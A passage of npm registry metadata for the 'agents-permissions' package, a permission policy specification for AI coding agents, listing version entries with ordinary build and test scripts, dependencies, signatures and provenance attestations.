--experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.0.7_1778533517898_0.1581739685537915","host":"s3://npm-registry-packages-npm-production"}},"5.1.3":{"name":"agents-permissions","version":"5.1.3","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.1.3","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"17fa3b77efad10d453f57cbd065a815c446bf83d","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.1.3.tgz","fileCount":65,"integrity":"sha512-/EHhaorp8mqPmwgrD1szCSFzW1oWwMwW04ONE3sxGCMMwUXsIvN6FHHxvdy7fYBZbT/m3E5/+D1CFvkP9I8bUQ==","signatures":[{"sig":"MEUCIG0Xn0wnIn9T0MMlO7C9SGOHpPm7flZNp4fGIWn6u2A5AiEA6rXo3dul/wLCErPJaStw70mfZSIeVbKcP5jAKgE5sCk=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.1.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":759995},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.1.3_1778537918686_0.5889445045761081","host":"s3://npm-registry-packages-npm-production"}},"5.2.1":{"name":"agents-permissions","version":"5.2.1","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.2.1","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"872f5a60d59f5bb9f589abde542a96238be22d7f","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.2.1.tgz","fileCount":65,"integrity":"sha512-8jSYo+ciZRQ8u6eunevEuW27I1cQMatb+77e45ypn0zddtLjyYPCw77xkJ6vuRk9XPu72tPqDXvs70XsAhbcGw==","signatures":[{"sig":"MEQCIB8OCOxEkQA9kgRUrEfb/1upekTish3AMe4oCAYWwr86AiBfdz0rKtyVbs0/ka4Ali6cmicblE2H7nI/k5vCbMlS1A==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.2.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":760164},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.2.1_1778539180652_0.45103693798111544","host":"s3://npm-registry-packages-npm-production"}},"5.2.2":{"name":"agents-permissions","version":"5.2.2","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.2.2","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"30e9fc1ba2388e1bb8b434035277f3f8309b56b6","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.2.2.tgz","fileCount":65,"integrity":"sha512-Y/aDGDfpUaU02bxlq7LBaPtEyE+R2JeHlsqEoE3NyKC9fB71rOx3VUSEkT9xURwqfTjPY4npBwKYRTXveQK+Bw==","signatures":[{"sig":"MEYCIQDcTL8A8LdITqEOkdlCONmqjTJE5No18Olp1ewjcsL7fQIhAKb8h6XWWmdlBMDzrhnXttWBgtjqb/UCsK4hLcdkl899","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.2.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":801239},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.2.2_1778577860151_0.6025688169522954","host":"s3://npm-registry-packages-npm-production"}},"5.3.0":{"name":"agents-permissions","version":"5.3.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.3.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"8e4190ef936c00c9709e0dcad8dc7cea9dec0a89","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.3.0.tgz","fileCount":65,"integrity":"sha512-6b0sEhH4/KyKOzMebj+3Rr6Wmb9EwaOHYa0ZxwZhKA5eWa0byYWSZEhIA1Y8pvhcws7+rvRgFPe6u7r4ehlppA==","signatures":[{"sig":"MEUCIQCZrDhR+b7ZX7IDJ57CC90XZHXA6+Ys7/tnLq4YjmIKtgIgR7pprRPD5BIIdVKEuga9R0Wpy0azERGVbVhVpyFN1x4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.3.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":803441},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.3.0_1778579269161_0.09326060854777696","host":"s3://npm-registry-packages-npm-production"}},"5.4.0":{"name":"agents-permissions","version":"5.4.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.4.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"949ae8560bbc7dc395678e3bceffb0c33aabea96","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.4.0.tgz","fileCount":71,"integrity":"sha512-EoS6NCqtlRQHNg4QQrJ72+XVyeAPvf0CNaswm5/lFBX5Yn6C1y/+wa9jfApYoHgC+Cpqtq5d00TzskV9RxHryg==","signatures":[{"sig":"MEQCIDs9KOyC2lO76IE9inu2GCtV6+30Hi3f+4CC+1g/i2hCAiAEJpVzF3Eg1/y0zcgzWBPI0299m5toWLbnn9PdoY+n1w==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.4.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":837695},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.4.0_1778581438338_0.7263613634303405","host":"s3://npm-registry-packages-npm-production"}},"5.5.0":{"name":"agents-permissions","version":"5.5.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.5.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"33c5de2f3630de90e1a51f259964675dc1435b23","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.5.0.tgz","fileCount":71,"integrity":"sha512-AGEGn4ZlDPDMA6Kl1ouDJo/UwfkYbcgxnX+vkKxDisog/qlRJOQV5ZTpdXXGYTrrPDP+Dw5C7+aAUDasYEmtHg==","signatures":[{"sig":"MEUCIFx3r1az6cLEvTXFvv9u5nMl9+yilDCDLE5mE6pTdUsLAiEAkaMXK4TUUYq89PAGq9BcKkzsr1V29UMv5gEHbZHCOcs=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.5.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":837695},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.5.0_1778581803909_0.998752090413308","host":"s3://npm-registry-packages-npm-production"}},"5.5.1":{"name":"agents-permissions","version":"5.5.1","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.5.1","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"179d4527052dffbd3ea0c60d02f467b9feb1a042","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.5.1.tgz","fileCount":71,"integrity":"sha512-RHHM5++ohQn5QHzPQfkkSVWzcchqQEvOhsAGtBEQ3/iDRV1oNkkv5d5kzc3vcCUlbp+4/nx8YwbpdSMBfu34oA==","signatures":[{"sig":"MEUCIGW56u/LW8gl6h19WumX30VRZjPvRPL3/Bga3fTXRgK3AiEAqH05J6ljHCUGKOze/M/lp5AS3x5OlC6JIxeoY8DSEqA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.5.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":837695},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.5.1_1778582090914_0.5001028558295844","host":"s3://npm-registry-packages-npm-production"}},"5.6.0":{"name":"agents-permissions","version":"5.6.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph 